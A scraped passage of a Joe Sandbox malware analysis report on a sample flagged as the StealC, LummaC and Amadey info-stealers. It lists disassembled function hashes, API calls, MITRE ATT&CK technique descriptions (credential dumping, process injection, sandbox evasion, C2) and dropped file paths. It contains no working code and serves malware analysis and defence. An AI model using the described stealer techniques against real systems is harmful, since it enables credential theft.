Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: freestrcmp
String ID: bua$matchinfo$pcx
API String ID: 716601943-237985100
Opcode ID: 237be79ab2502c4599ed8e0c574142ccb5a6144a58fc15783e185434153a1b49
Instruction ID: d7a9de28f1ba4d9dbc53b777f24a38c05efd697a91aa6da7b783da7e5ea27d52
Opcode Fuzzy Hash: 237be79ab2502c4599ed8e0c574142ccb5a6144a58fc15783e185434153a1b49
Instruction Fuzzy Hash: 2FE1EE74D043598FEB10CFA8C480B9DBBF1BB49318F64C46AE8A8AB351D775E985CB41

Function 61E3D021 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 293stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 61E3D129

Strings

-, xrefs: 61E3D2AF
#, xrefs: 61E3D24E
], xrefs: 61E3D302

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: strncmp
String ID: #$-$]
API String ID: 1114863663-3149169660
Opcode ID: f99a3957d435e7ea3bb32a2a14cb1bf4f5c1a1f05ad08d6a5497aa7015d5eb71
Instruction ID: 1c490b0b60c0b5d90f91e160a7bf365b8f8ab346ded86ed4ccdc7e106188df17
Opcode Fuzzy Hash: f99a3957d435e7ea3bb32a2a14cb1bf4f5c1a1f05ad08d6a5497aa7015d5eb71
Instruction Fuzzy Hash: 82D15774D082698BDB01CF98C18479DFBF2BF89748FA9C059D854AB292D335E986CF50

Function 61EAF6D0 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 61EAF6F5
__dllonexit.MSVCRT ref: 61EAF733
_unlock.MSVCRT ref: 61EAF763
_onexit.MSVCRT ref: 61EAF777

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: __dllonexit_lock_onexit_unlock
String ID:
API String ID: 209411981-0
Opcode ID: 14a068eb5279b83cbe249a705044353e42ef401f74677ddee49b1cb2808ff91a
Instruction ID: d8116788f2c50d2f41c70b1de34e9b41b7999a481f31fa547576aa82505b99b8
Opcode Fuzzy Hash: 14a068eb5279b83cbe249a705044353e42ef401f74677ddee49b1cb2808ff91a
Instruction Fuzzy Hash: 7D1155B5A197418FCB40EF74D48455EBBE0AB89254F618D2EE4E5CB350E738D5848B82

Function 61EAFAF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 61EAFB80
VirtualProtect.KERNEL32 ref: 61EAFBC2

Strings

@, xrefs: 61EAFBAB

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: @
API String ID: 1027372294-2766056989
Opcode ID: 291e62d0b65acdb3804ba4f4353593b383c4c3d38d689e226719f6992fe71c3d
Instruction ID: d36ff6d444c1f5105915669b8fb698cf4239ff4a3251c649fd02843d9bfa6c4b
Opcode Fuzzy Hash: 291e62d0b65acdb3804ba4f4353593b383c4c3d38d689e226719f6992fe71c3d
Instruction Fuzzy Hash: C0316DB2A447018FE710DF68D99464AFBF0FB44358F55C92DD8A98B340E734E844CB92

Function 61EAFFC7 Relevance: 5.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 61EAFFF7
free.MSVCRT ref: 61EB0049
LeaveCriticalSection.KERNEL32 ref: 61EB0055

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: b6bb7d388052e0cdc322c2fcd809fba566db2f633b6fcc0fedcdc60f332ecf9f
Instruction ID: 8800cbbaabcb4e65eb752727b7520098e5a1080de1cc433df834cfe85e1ff072
Opcode Fuzzy Hash: b6bb7d388052e0cdc322c2fcd809fba566db2f633b6fcc0fedcdc60f332ecf9f
Instruction Fuzzy Hash: D9010972B051018FD700AFBCDA8561AB7F1FB46704F68896CD859C7215E731E891DB83

Function 61EAFEE0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 61EAFEEE
TlsGetValue.KERNEL32 ref: 61EAFF15
GetLastError.KERNEL32 ref: 61EAFF1C
LeaveCriticalSection.KERNEL32 ref: 61EAFF3C

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: a187a0561b15ac659cc27c31303386dc53fb4f2523cc2de19bd987d58d59314a
Instruction ID: 3c942bbf6517c0ec0331f125ad054bd991ea38a51cb55fe1ac34f487ea1a944f
Opcode Fuzzy Hash: a187a0561b15ac659cc27c31303386dc53fb4f2523cc2de19bd987d58d59314a
Instruction Fuzzy Hash: C0F081B6A016008FDB00BFB9A98951A7BA8EB46A44B19416CD9548B309D730E885CBE3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKFHDBFIDAECAAAKEGDA

C:\ProgramData\BAAFCAFC

C:\ProgramData\BGDGHJEHJJDAAAKEBGCFCAAAAE

C:\ProgramData\FCBAECGI

C:\ProgramData\KJJJJDHIDBGHIDHIDAFB

C:\ProgramData\KKKEBKJJDGHCBGCAAKEHDBAEGH

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre